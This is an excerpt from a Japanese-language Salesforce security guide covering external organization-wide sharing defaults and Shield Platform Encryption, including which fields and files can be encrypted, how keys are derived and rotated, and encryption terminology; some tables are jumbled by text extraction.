• カスタマーポータルユーザ
• 大規模 Experience Cloud サイトユーザ
• パートナーポータルユーザ
• Service Cloud ポータルユーザ

メモ:  Chatter 外部ユーザがアクセスできるのは、ユーザオブジェクトのみです。

ゲストユーザは外部ユーザとみなされません。ゲストユーザの組織全体のデフォルトがすべてのオブジェクト
について [非公開] に設定され、このアクセスレベルは変更できなくなります。

このセクションの内容:

外部組織の共有設定の設定
外部組織の共有設定を使用して、外部ユーザに異なるデフォルトのアクセス権を設定できます。

外部組織の共有設定の設定

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

デフォルトの共有アクセ
ス権を設定する
• 「共有の管理」

外部組織の共有設定を使用して、外部ユーザに異なるデフォルトのアクセス権
を設定できます。
外部組織の共有設定を設定する前に、それらが有効であることを確認します。
[設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を選
択して [外部共有モデルを有効化] ボタンをクリックします。外部組織の共有設
定は、Spring '20 以降で作成されたすべての組織、および Salesforce エクスペリエ
ンスまたはポータルが有効になっているすべての組織で自動的に有効になりま
す。

重要: 有効にすると、外部共有モデルは無効にできません。引き続き、各
オブジェクトに対して [デフォルトの外部アクセス権]と [デフォルトの内部
アクセス権] を手動で同じアクセスレベルに設定することはできます。

外部組織の共有設定を最初に有効にしていると、デフォルトの内部アクセス権
とデフォルトの外部アクセス権は元のデフォルトアクセスレベルに設定されま
す。たとえば、取引先責任者の組織の共有設定が [非公開] である場合、デフォ
ルトの内部アクセス権とデフォルトの外部アクセス権も [非公開] になります。
オブジェクトに安全にアクセスするために、外部組織の共有設定を [非公開] に
設定することをお勧めします。

メモ: アクセスレベルについて次の例外に留意してください。
• 外部組織全体のデフォルトを有効にすると、ユーザおよび新規作成した

カスタムオブジェクトの外部アクセスレベルは、デフォルトで [非公開]

に設定されます。
• Spring '20 より後に作成された組織では、デフォルトの外部アクセスレベ

ルはすべてのオブジェクトで [非公開] に設定されます。
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オブジェクトの外部組織の共有設定を設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を選択します。
2. [Organization-Wide Defaults (組織の共有設定)] 領域で [Edit (編集)] をクリックします。
3. オブジェクトごとに、使用するデフォルトアクセス権を選択します。

次のアクセス権を割り当てることができます。

説明アクセスレベル

ユーザは、関連するすべての主レコードでアクション (表
示、編集、削除など) を実行できる場合は、主従関係の従

親レコードに連動

の側のレコードに対しても同じアクションを実行できま
す。

メモ: 取引先責任者の場合は、デフォルトの内部お
よび外部アクセス権の両方に [親レコードに連動]

を設定する必要があります。

所有権、権限、ロール階層、共有の直接設定、または共
有ルールによってアクセス権が付与されているユーザの
みが、レコードにアクセスできます。

非公開

すべてのユーザがオブジェクトのすべてのレコードを表
示できます。

公開/参照のみ

すべてのユーザがオブジェクトのすべてのレコードを表
示および編集できます。

公開/参照・更新可能

メモ: デフォルトの外部アクセスレベルの制限は、デフォルトの内部アクセスレベル以上にする必要
があります。たとえば、デフォルトの外部アクセス権が [非公開] でデフォルトの内部アクセス権が [公
開/参照のみ] に設定されたカスタムオブジェクトがあります。

4. [保存] をクリックします。
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Shield Platform Encryption でのデータのセキュリティの強化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption では、重要なプラットフォーム機能を保持しながらデー
タに新しいセキュリティ層が追加されます。ネットワーク経由での送信時だけ
でなく、保存時に機密データを暗号化できるため、会社は非公開データの処理
で準拠すべきプライバシーポリシー、規制要件、契約義務に確実に準拠できま
す。
Shield Platform Encryption は、Salesforce に標準搭載されているデータ暗号化オプショ
ンに基づいて作成されています。多くの標準項目、カスタム項目、ファイル、
添付ファイルに保存されているデータは、高度な HSM ベースの鍵派生システム
を使用して暗号化されているため、他の防衛線が危険にさらされても保護され
ます。
データ暗号化鍵素材は、保存したり組織で共有したりすることはありません。
Salesforce で鍵素材を生成するか、独自の鍵素材をアップロードするかを選択で
きます。デフォルトでは、Shield 鍵管理サービスが主の秘密または組織固有の鍵
素材からデータ暗号化鍵をオンデマンドで抽出し、抽出されたデータ暗号化鍵
を暗号化鍵キャッシュに保存します。また鍵ごとに鍵派生を除外することも、
最終的なデータ暗号化鍵を Salesforce の外部に保存し、キャッシュのみの鍵サー
ビスを使用して、制御する鍵サービスから鍵をオンデマンドで取得することもできます。鍵を管理する方法に
関わらず、Shield Platform Encryption によって暗号化プロセスのすべての段階で鍵素材の安全性が確保されます。
Shield Platform Encryption は、Developer Edition 組織で無料で試すことができます。本番組織にプロビジョニングさ
れると、Sandbox で使用できるようになります。

このセクションの内容:

暗号化できる項目
Shield Platform Encryption では、各種の標準項目およびカスタム項目を暗号化できます。また Salesforce に格納
されているファイルおよび添付ファイルや、Salesforce 検索インデックスなども暗号化できます。暗号化で
きる項目とファイルは今後も増えていきます。
Shield Platform Encryption のしくみ
Shield Platform Encryption は、ユーザに制御される一意のテナントの秘密と、Salesforce で維持される主秘密に
依存します。デフォルトでは、これらの秘密を組み合わせて一意のデータ暗号化鍵が作成されます。独自
の最終的なデータ暗号化鍵を提供することもできます。このデータ暗号化鍵を使用して、ユーザが Salesforce

に配置したデータが暗号化され、承認されたユーザがデータを必要とする場合にデータが復号化されます。
暗号化ポリシーの設定
暗号化ポリシーは、Shield Platform Encryption でデータを暗号化するための計画です。暗号化の実装方法を選
択できます。たとえば個別の項目を暗号化し、それらの項目に異なる暗号化スキームを適用できます。ま
たファイルや添付ファイル、Chatter のデータ、検索インデックスなど、他のデータ要素を暗号化すること
もできます。暗号化は、項目レベルセキュリティやオブジェクトレベルセキュリティとは異なります。こ
れらの制御は、暗号化ポリシーを実装する前に実施します。
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確定的暗号化を使用した暗号化データの絞り込み
確定的暗号化を使用して Shield Platform Encryption で保護したデータを絞り込むことができます。レポートや
リストビュー内のレコードの基盤となる項目が暗号化されている場合でも、ユーザはそれらのレコードを
絞り込むことができます。大文字と小文字を区別する確定的暗号化または大文字と小文字を区別しない完
全一致の暗号化を、項目単位でデータに適用できます。
鍵の管理と循環
Shield Platform Encryption を使用すると、データの暗号化に使用される鍵素材の管理および循環が可能になり
ます。Salesforce を使用してテナントの秘密を生成し、それをリリースごとの主秘密と結合してデータ暗号
化鍵を抽出できます。抽出されたデータ暗号化鍵は、暗号化と復号化の機能で使用されます。Bring Your Own

Key (BYOK) サービスを使用して独自の鍵素材をアップロードすることも、鍵素材を Salesforce の外部に保存
し、キャッシュのみの鍵サービスで鍵素材をオンデマンドで取得することもできます。
Shield Platform Encryption のカスタマイズ
機能と設定の中には、暗号化データを操作する前に調整を必要とするものがあります。
Shield Platform Encryption のトレードオフおよび制限事項
Shield Platform Encryption と同様に強力なセキュリティソリューションには、一部のトレードオフが伴います。
データが暗号化されていると、一部のユーザの機能に制約が生じる場合があり、一部の機能はまったく使
用できなくなります。暗号化戦略を策定する場合は、ユーザおよび全体的なビジネスソリューションに対
する影響を考慮します。

関連トピック:

https://help.salesforce.com/HTViewHelpDoc?id=security_pe_overview.htm

カスタム項目の従来の暗号化

暗号化できる項目
エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption では、各種の標準項目およびカスタム項目を暗号化でき
ます。また Salesforce に格納されているファイルおよび添付ファイルや、Salesforce

検索インデックスなども暗号化できます。暗号化できる項目とファイルは今後
も増えていきます。

このセクションの内容:

暗号化できる標準項目は?

標準オブジェクト、カスタムオブジェクト、Chatter のデータ、および検索イ
ンデックスファイルの特定の項目を暗号化できます。暗号化項目は、一部の
例外を除いて、Salesforce ユーザインターフェース、ビジネスプロセス、API の
すべてで正常に機能します。
暗号化できるカスタム項目は?

次のカスタム項目データ型のいずれかに属する項目の内容に Shield Platform

Encryption を適用できます。
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どのファイルが暗号化されますか?

ファイルおよび添付ファイルの Shield Platform Encryption を有効にすると、暗号化可能なすべてのファイルお
よび添付ファイルは暗号化されます。各ファイルまたは添付ファイルの内容は、アップロード時に暗号化
されます。
暗号化できるその他のデータ要素は?

Shield Platform Encryption では、標準およびカスタム項目のデータおよびファイルに加え、その他の Salesforce

データもサポートしています。Tableau CRM データセット、Chatter 項目、Salesforce B2B Commerce 管理パッケー
ジ内の項目などを暗号化できます。

暗号化できる標準項目は?

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

標準オブジェクト、カスタムオブジェクト、Chatter のデータ、および検索イン
デックスファイルの特定の項目を暗号化できます。暗号化項目は、一部の例外
を除いて、Salesforce ユーザインターフェース、ビジネスプロセス、API のすべて
で正常に機能します。
項目を暗号化しても、既存の値はすぐに暗号化されません。値は、操作された
後、または最新の暗号化ポリシーと同期された後にのみ暗号化されます。[設定]

の [暗号化統計] ページでポリシーを使用して既存のデータを同期します。

対応する標準項目
次の標準項目データ型の内容を暗号化できます。

メモ項目オブジェクト

個人取引先を有効にして
いる場合には、特定の取
引先および取引先責任者

取引先名
取引先部門
住所(請求先) ([町名・番地
(請求先)] および [市区郡
(請求先)] を暗号化)

取引先

項目が 1 つのレコードに
結合されます。その場
合、取引先項目の異なる
セットに対して暗号化を
有効にできます。

説明
Fax

電話
住所(納入先) ([町名・番地
(納入先)] および [市区郡
(納入先)] を暗号化)

Web サイト

取引先名個人取引先が有効になっ
ている取引先

取引先部門
アシスタント
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メモ項目オブジェクト

アシスタントの電話
住所(請求先) ([町名・番地(請求先)]

および [市区郡(請求先)] を暗号化)

説明
メール
Fax

自宅電話
住所(郵送先) ([町名・番地(郵送先)]

および [市区郡(郵送先)] を暗号化)

携帯
住所(その他) ([町名・番地(その他)]

および [市区郡(その他)] を暗号化)

電話(その他)

電話
住所(納入先) ([町名・番地(納入先)]

および [市区郡(納入先)] を暗号化)

役職
Web サイト

活動項目を選択すると、スタンド
アロンの行動、一連の行動 (Lightning

説明 (行動の暗号化 — 説明と ToDo

— コメント)

活動

Experience)、定期的な行動 (Salesforce
件名 (行動の暗号化 — 件名と ToDo

— 件名)
Classic) でその項目が暗号化されま
す。

公共セクタ向け緊急時対応管理標
準オブジェクトおよび項目は、緊

識別子ビジネスライセンス

住所 (サイト) ([町名・番地 (サイト)]

および [市区郡 (サイト)] を暗号化)

ビジネスライセンス申込書 急時対応管理権限セットライセン
スを持つユーザが使用できます。

ビジネス業務名ビジネスプロファイル

ビジネス税 ID

説明ケース

件名

本文 (内部コメントを含む)ケースコメント
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メモ項目オブジェクト

暗号化をチャット項目に適用する
には、[スーパーバイザトランスク

本文
スーパーバイザトランスクリプト
本文

チャットのトランスクリプト

リプト本文] 項目を LiveChatTranscript

レコードホームレイアウトに追加
する必要があります。

町名・番地連絡先住所

メールアドレス連絡先メール

電話番号連絡先電話

アシスタント取引先責任者

アシスタントの電話
説明
メール
Fax

自宅電話
住所(郵送先) ([町名・番地(郵送先)]

および [市区郡(郵送先)] を暗号化)

携帯
名前 ([名]、[ミドルネーム]、および
[姓] を暗号化)

住所(その他) ([町名・番地(その他)]

および [市区郡(その他)] を暗号化)

電話(その他)

電話
役職

住所(請求先) ([町名・番地(請求先)]

および [市区郡(請求先)] を暗号化)

契約

住所(納入先) ([町名・番地(納入先)]

および [市区郡(納入先)] を暗号化)

鍵会話コンテキストの入力

値

アクター名会話の入力

メッセージ
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メモ項目オブジェクト

公共セクタ向け緊急時対応管理標
準オブジェクトおよび項目は、緊

名前コース内容

急時対応管理権限セットライセン
スを持つユーザが使用できます。

名前カスタムオブジェクト

メール-to-ケースを使用している場
合、これらの項目はケースを生成

差出人名
差出人名

メールメッセージ

する顧客の電子メールでも暗号化
されます。宛先アドレス

CC アドレス
BCC アドレス
件名
テキスト内容
HTML 内容
ヘッダー

リレーションアドレスメールメッセージリレーション

ドキュメント番号身分証明書

有効期限
発行日

Individual オブジェクトは、レコード
でデータ保護の詳細を使用できる

名前個別

ようにするための組織設定を有効
にしている場合にのみ使用できま
す。

住所 ([町名・番地] および [市区郡]

を暗号化)

リード

会社
説明
メール
Fax

携帯
名前 ([名]、[ミドルネーム]、および
[姓] を暗号化)

電話
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メモ項目オブジェクト

役職
Web サイト

差出人名リストメール

送信元アドレス
返信先アドレス

メールリストメール送信結果

プロファイル写真 URLメッセージングエンドユーザ

抽出された値OCR ドキュメントスキャン結果

対応付けられた項目OCR スキャン結果テンプレートの対
応付け

説明商談

次のステップ
商談名

公共セクタ向け緊急時対応管理標
準オブジェクトおよび項目は、緊

会社所在地
会社名

周知の告発情報

急時対応管理権限セットライセン
スを持つユーザが使用できます。メール

名
姓
携帯番号

説明おすすめ

公共セクタ向け緊急時対応管理標
準オブジェクトおよび項目は、緊

是正措置の説明
説明

規制コード違反

急時対応管理権限セットライセン
スを持つユーザが使用できます。

日付値アンケートの質問への回答

日時の値
選択肢の値
回答の値

住所 ([町名・番地] および [市区郡]

を暗号化)

サービス予定

106

暗号化できる項目Salesforce セキュリティガイド



メモ項目オブジェクト

説明
件名

公共セクタ向け緊急時対応管理標
準オブジェクトおよび項目は、緊

説明
名前

トレーニングコース

急時対応管理権限セットライセン
スを持つユーザが使用できます。

発言発言の提案

公共セクタ向け緊急時対応管理標
準オブジェクトおよび項目は、緊

説明違反是正措置

急時対応管理権限セットライセン
スを持つユーザが使用できます。

はじめにWeb 見積

メモ
納入先市区郡
納入先国
納入先名
納入先郵便番号
納入先都道府県
納入先町名・番地
説明
商品コード

住所 ([町名・番地] および [市区郡]

を暗号化)

作業指示

説明
件名

住所 ([町名・番地] および [市区郡]

を暗号化)

作業指示品目

説明
件名
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対応する Health Cloud の項目
Health Cloud 標準オブジェクトおよび項目は、Health Cloud Platform 権限セットライセンスをお持ちのユーザが使
用できます。

メモ: 確定的暗号化は、ロングテキスト項目および名前にメモが含まれる項目では使用できません。

項目オブジェクト

入院メモケア要請

処置のメモ
施設のカルテ番号
最初の審査担当者のメモ
メディカルディレクターのメモ
メンバーの名
メンバーの姓
メンバー ID

メンバーのグループ番号
解決のメモ
根本原因のメモ

処方箋番号ケア要請薬品

名前接触

給付のメモ給付保障

自己負担のメモ
自己負担額のメモ
免責のメモ
生涯限度額のメモ
アウトオブポケットのメモ
ソースシステム識別子

保険適用レベル給付保障項目

備考
サービス種別
サービス種別コード
ソースシステム識別子

提携メンバープラン
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項目オブジェクト

グループ番号
発行者番号
メンバー数
かかりつけ医
ソースシステム識別子

プラン番号購入者プラン

サービス種別
ソースシステム
ソースシステム識別子

購入者プランの関連付け ID購入者プランの関連付け

状況
ソースシステム
ソースシステム識別子

対応する Financial Services Cloud の項目
Financial Services Cloud 標準オブジェクトおよび項目を使用できるのは、Financial Services Cloud が有効になっている
ユーザです。

項目オブジェクト

説明
金融取引コード

金融取引

名前

コメント金融取引インタラクション

コメント金融取引インタラクション概要

説明
名前

インタラクション

次のステップ
ミーティングメモ

インタラクション概要

タイトル

コメントインタラクション概要の議論された取引先
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対応する Financial Services Cloud 項目の保険
Financial Services Cloud 標準オブジェクトおよび項目の保険を使用できるのは、Financial Services Cloud が有効になっ
ているユーザです。

項目オブジェクト

マイルストン名ビジネスマイルストン

請求番号請求

事故現場
レポート番号

住所顧客資産

先取特権者名

保険契約番号保険契約

サービスオフィス
ユニバーサル保険契約番号

行動名個人ライフイベント

名前証券保有

対応する Salesforce CPQ 項目
Salesforce CPQ 標準オブジェクトおよび項目は、Salesforce CPQ 権限セットライセンスをお持ちのユーザが使用で
きます。

項目オブジェクト

ルックアップデータルックアップデータ

値プロセス入力値

請求先市区郡見積

請求先国
請求先名
請求先郵便番号
請求先都道府県
請求先町名・番地
はじめに
メモ
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項目オブジェクト

納入先市区郡
納入先国
納入先名
納入先郵便番号
納入先都道府県
納入先町名・番地

会社名見積テンプレート

内容見積規約

証明書番号免税証明書

国
郡
免税の会社名
メモ
郵便番号
都道府県
町名・番地
住所_2

対応する Workplace Command Center 項目

メモ項目オブジェクト

Employee オブジェクトの暗号化を有
効にする場合は、Salesforce カスタ

別メールのアドレス
メール

従業員

マーサポートにお問い合わせくだ
さい。名

町名・番地 (自宅)

自宅電話
姓
ミドルネーム
希望する名前
勤務先電話番号
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暗号化できるカスタム項目は?
次のカスタム項目データ型のいずれかに属する項目の内容に Shield Platform Encryption を適用できます。
• メール
• 電話
• テキスト
• テキストエリア
• ロングテキストエリア
• リッチテキストエリア
• URL

• 日付
• 日付/時間
カスタム項目が暗号化された後にデータ型を変更することはできません。カスタム電話項目およびカスタム
メール項目の場合、項目形式も変更できません。

重要:  [名前] 項目を暗号化すると、高度なルックアップが自動的に有効になります。高度なルックアップ
では、既存のすべてのレコードではなく、最近検索されたレコードのみが検索されるため、ユーザエク
スペリエンスが向上します。高度なルックアップへの切り替えは、一方向の変更です。暗号化を無効に
しても、標準ルックアップには戻れません。

スキーマビルダーを使用して暗号化カスタム項目を作成することはできません。
[ユニーク] または [外部 ID] 属性を持つカスタム項目を暗号化する場合、使用できるのは確定的暗号化のみ
です。

サポート対象外のカスタム項目
一部のカスタム項目は暗号化できません。
• 外部データオブジェクトの項目
• 取引先と取引先責任者のリレーションで使用されている項目
• データの翻訳が有効になっている項目
• ナレッジ記事のリッチテキストエリア項目

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点
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どのファイルが暗号化されますか?

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ファイルおよび添付ファイルの Shield Platform Encryption を有効にすると、暗号化
可能なすべてのファイルおよび添付ファイルは暗号化されます。各ファイルま
たは添付ファイルの内容は、アップロード時に暗号化されます。
次の種別のファイルは、ファイル暗号化を有効にすると、暗号化されます。
• メールに添付されたファイル
• フィードに添付されたファイル
• レコードに添付されたファイル
• リッチテキストエリア項目に含まれる画像
• [コンテンツ] タブ、[ライブラリ] タブ、[ファイル] タブのファイル (ファイル

のプレビュー、Salesforce CRM コンテンツファイルなどの Salesforce ファイル)

• Salesforce Files Sync で管理され、Salesforce に保存されているファイル
• Chatter の投稿、コメント、サイドバーに添付されたファイル
• 新しいメモツールを使用したメモの本文テキスト
• ナレッジ記事に添付されたファイル
• 見積 PDF

次の種類のファイルと添付ファイルは暗号化されません。
• Chatter のグループ写真
• Chatter のプロファイル写真
• ドキュメント
• 新しいメモツールのメモのプレビュー
• 古いメモツールのメモおよびメモのプレビュー

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点
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暗号化できるその他のデータ要素は?

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption では、標準およびカスタム項目のデータおよびファイル
に加え、その他の Salesforce データもサポートしています。Tableau CRM データセッ
ト、Chatter 項目、Salesforce B2B Commerce 管理パッケージ内の項目などを暗号化で
きます。
変更データキャプチャ

変更データキャプチャでは、Salesforce レコードのほぼリアルタイムの変更が
提供され、外部データストアの対応するレコードを同期できます。Salesforce

レコード項目が Shield Platform Encryption で暗号化されている場合、暗号化され
た項目の値を変更するとイベントが変更されます。[設定] の [暗号化ポリシー]

ページで  [変更データキャプチャイベントの暗号化と配信]を選択し、これら
の変更イベントを暗号化できます。

Chatter フィード
暗号化される Chatter データには、フィード投稿とコメント、質問と回答、リ
ンク名と URL のデータなどがあります。アンケートの選択肢と質問、および
カスタムリッチパブリッシャーアプリケーションのコンテンツのデータなど
もあります。
暗号化された Chatter 項目の改訂履歴も暗号化されます。暗号化された Chatter 項目を編集または更新する
と、古い情報は暗号化されたままになります。
Chatter データは、フィード添付、フィードコメント、フィードのアンケート選択肢、フィード投稿、およ
びフィードリビジョンオブジェクトに保存されます。これらのオブジェクトの暗号化データが保存される
データベース項目は、[設定] の [暗号化統計] ページに表示されます。
• ChatterExtensionInstance — Payload

• ChatterExtensionInstance — PayloadVersion

• ChatterExtensionInstance — TextRepresentation

• ChatterExtensionInstance — ThumbnailUrl

• ChatterExtensionInstance — Title

• FeedAttachment — Title

• FeedAttachment — Value

• FeedComment — RawCommentBody

• FeedPollChoice — ChoiceBody

• FeedPost — LinkUrl

• FeedPost — RawBody

• FeedPost — Title

• FeedRevision — RawValue

[暗号化統計] にリストされた項目の中には、同じ名前では UI に表示されないものもあります。しかし UI に
表示されるすべての暗号化データが保存されています。

メモ:  Chatter の暗号化を有効にすると、対象となるすべての Chatter 項目が暗号化されます。一部の
Chatter 項目のみを暗号化することはできません。
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Tableau CRM

新しい Tableau CRM データセットを暗号化します。

メモ: 暗号化が有効になる前に Tableau CRM にあったデータは暗号化されません。データフローを介し
て Salesforce オブジェクトからインポートされる既存のデータは、次のデータフローの実行時に暗号化
されます。他の既存のデータ (CSV データなど) は、再インポートしないと暗号化されません。暗号化
が有効になっても、既存のデータは暗号化されませんが、暗号化されていない状態で引き続きアクセ
スできて完全に機能します。

Salesforce B2B Commerce

B2B Commerce 向け Shield Platform Encryption (バージョン 4.10 以降) により、顧客が Salesforce B2B Commerce の E コ
マースストアフロントに入力したデータのセキュリティが一層強化されます。サポートされている項目の
リストは、「B2B Commerce 向け Shield Platform Encryption」を参照してください。

検索インデックス
検索インデックスを暗号化すると、検索結果を保存するために作成された各ファイルが暗号化されます。

Shield Platform Encryption のしくみ
エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption は、ユーザに制御される一意のテナントの秘密と、Salesforce

で維持される主秘密に依存します。デフォルトでは、これらの秘密を組み合わ
せて一意のデータ暗号化鍵が作成されます。独自の最終的なデータ暗号化鍵を
提供することもできます。このデータ暗号化鍵を使用して、ユーザが Salesforce

に配置したデータが暗号化され、承認されたユーザがデータを必要とする場合
にデータが復号化されます。
ファイル、項目、および添付ファイルの暗号化は、組織のストレージ制限に影
響しません。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption につい
て書かれています。相違点

このセクションの内容:

Shield Platform Encryption の用語
暗号化には、独自の特殊な用語があります。Shield Platform Encryption 機能を最
大限活用するために、重要な用語をよく理解することをお勧めします。
従来の暗号化と Shield Platform Encryption との違い
Shield Platform Encryption では、広く使用されているさまざまな標準項目、一部のカスタム項目、および種々
のファイルを暗号化できます。Shield Platform Encryption では、個人取引先、ケース、検索、承認プロセス、
およびその他の重要な Salesforce 機能もサポートします。従来の暗号化では、その目的で作成した特殊なカ
スタムテキスト項目のみを保護できます。
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バックグラウンド: Shield Platform Encryption のプロセス
ユーザがデータを送信する場合、アプリケーションサーバは、そのキャッシュから組織固有のデータ暗号
化鍵を検索します。キャッシュにない場合、アプリケーションサーバは、データベースから暗号化された
テナントの秘密を取得し、鍵派生サーバに鍵の派生を要求します。Shield Platform Encryption サービスは、次
にアプリケーションサーバのデータを暗号化します。顧客が鍵派生を除外するか、キャッシュのみの鍵サー
ビスを使用する場合、暗号化サービスでは、顧客が指定したデータ暗号化鍵を直接、顧客データに適用し
ます。
バックグラウンド: 検索インデックスの暗号化のプロセス
Salesforce 検索エンジンは、オープンソースのエンタープライズ検索プラットフォームソフトウェア Apache

Solr 上に構築されています。検索インデックスは、データベースに保存された元のレコードにリンクするレ
コードデータのトークンを保存しており、Solr 内に存在します。Salesforce では、検索インデックスはパー
ティションでセグメントに分割されるので、規模を拡張できます。Apache Lucene はコアライブラリとして
使用されます。
Shield Platform Encryption は Sandbox でどのように機能しますか?

本番組織から Sandbox を更新すると、本番組織の正確なコピーが作成されます。本番組織で Shield Platform

Encryption が有効になっている場合、本番で作成されたテナントの秘密を含め、すべての暗号化設定がコピー
されます。
Bring Your Own Key を使用する理由
Shield Platform Encryption の Bring Your Own Key (BYOK) を使用することで、重要なデータへの不正アクセスが発生
した場合に、より強固に保護できます。金融データ (クレジットカード番号など)、医療データ (カルテや保
険情報など)、またはその他のプライベートなデータ (社会保障番号、住所、電話番号など) を扱う場合に義
務付けられる規制要件を満たすのに役立つ場合もあります。鍵素材の設定が完了すれば、通常に Salesforce

組織内で暗号化を行うのと同じように Shield Platform Encryption を使用できます。
私の暗号化されたデータがマスクされない理由は?

Shield Platform Encryption サービスを使用できない場合、一部の暗号化項目でデータがマスクされます。これ
は、ユーザのデータへのアクセスを制御するためではなく、暗号化の主要な問題のトラブルシューティン
グを行うためです。ユーザに表示されないようにしたいデータがある場合、それらのユーザの項目レベル
セキュリティ設定、レコードアクセス設定、およびオブジェクト権限を再確認します。
Shield Platform Encryption のリリース方法
Visual Studio Code 向け Salesforce 拡張機能、移行ツール、ワークベンチなどのツールを使用して Shield Platform

Encryption を組織にリリースする場合、暗号化項目属性は保持されます。ただし、異なる暗号化設定の組織
にリリースする場合、その影響はリリース先組織で Shield Platform Encryption が有効になっているかどうかに
よって異なります。
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Shield Platform Encryption の用語

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

暗号化には、独自の特殊な用語があります。Shield Platform Encryption 機能を最大
限活用するために、重要な用語をよく理解することをお勧めします。
データの暗号化

データに暗号関数を適用して暗号文にするプロセスです。Shield Platform

Encryption のプロセスでは、対称鍵暗号化と 256 ビットの AES (Advanced Encryption

Standard) アルゴリズムを使用して、Salesforce Platform に保存されているデータ
を暗号化します。このアルゴリズムでは、CBC モードおよび 128 ビットラン
ダム初期化ベクトルが使用されます。データの暗号化と復号化のどちらもア
プリケーションサーバで実行されます。

データ暗号化鍵
Shield Platform Encryption では、データ暗号化鍵を使用してデータを暗号化およ
び復号化します。データ暗号化鍵は、Shield 鍵管理サービス (KMS) で、リリー
スごとの主秘密と、データベースに暗号化された状態で保存されている組織
固有のテナントの秘密に分割された鍵生成素材を使用して抽出されます。256

ビットの派生鍵は、キャッシュから強制削除されるまでメモリ内に存在しま
す。

保存された暗号化データ
ディスクで保持されているときに暗号化されているデータです。Salesforce では、データベースに保存され
ている項目の暗号化、ファイル、コンテンツ、ライブラリ、および添付ファイルに保存されているドキュ
メントの暗号化、検索インデックスファイルの暗号化、Tableau CRM データセットの暗号化、アーカイブデー
タの暗号化をサポートしています。

暗号化鍵管理
鍵の生成、処理、保存など、鍵管理の各側面を指します。「暗号化鍵を管理」権限を持つシステム管理者
またはユーザは、Shield Platform Encryption の鍵素材を操作できます。

ハードウェアセキュリティモジュール (HSM)

認証用の暗号処理および鍵管理を行うために使用します。Shield Platform Encryption では、秘密の素材を生成
して保存したり、暗号化サービスがデータの暗号化や復号化に使用するデータ暗号化鍵を派生する関数を
実行したりするために HSM を使用します。

初期化ベクトル (IV)

鍵と併用してデータを暗号化するランダムなシーケンスです。
Shield 鍵管理サービス (KMS)

鍵素材を生成、ラッピング、ラッピング解除、派生、セキュリティ保護します。鍵素材を派生させるとき
には、Shield KMS は擬似乱数生成機能とパスワードなどの入力を組み合わせて鍵を派生させます。Shield

Platform Encryption では、PBKDF2 (パスワードベースの鍵派生関数 2) に HMAC-SHA-256 を使用します。
鍵の循環

新しいテナントの秘密を生成して、それまで有効であったものをアーカイブするプロセスです。有効なテ
ナントの秘密は、暗号化と復号化の両方に使用されます。新しい有効なテナントの秘密を使用してすべて
のデータが再暗号化されるまでは、アーカイブされた秘密が復号化にのみ使用されます。
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主 HSM

主 HSM は、Salesforce のリリース時に毎回、安全な秘密をランダムに生成するために USB デバイスを使用し
ます。主 HSM は、Salesforce の本番ネットワークから「隔離」されており、銀行の貸金庫に安全に保管され
ています。

主秘密
テナントの秘密および鍵派生関数と組み合わせて、派生データ暗号化鍵を生成します (お客様は鍵派生を除
外できます)。主秘密は Salesforce のリリース時に毎回循環され、リリースごとの主ラッピング鍵を使用して
暗号化されます。その後、主ラッピング鍵は暗号化された状態でファイルシステムに保存できるように
Shield KMS の公開鍵で暗号化されます。これは、HSM でのみ復号化できます。Salesforce の従業員は、クリア
テキストのこれらの鍵にアクセスできません。

主ラッピング鍵
対称鍵が派生し、主ラッピング鍵 (鍵ラッピング鍵ともいう) として使用され、リリースごとの鍵と秘密の
バンドルをすべて暗号化します。

テナントの秘密
組織固有の秘密で、主秘密および鍵派生関数と組み合わせて、派生データ暗号化鍵を生成します。組織の
システム管理者が鍵を循環すると、新しいテナントの秘密が生成されます。API 経由でテナントの秘密にア
クセスする場合は、TenantSecret オブジェクトを参照してください。Salesforce の従業員は、クリアテキストの
これらの鍵にアクセスできません。

従来の暗号化と Shield Platform Encryption との違い

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
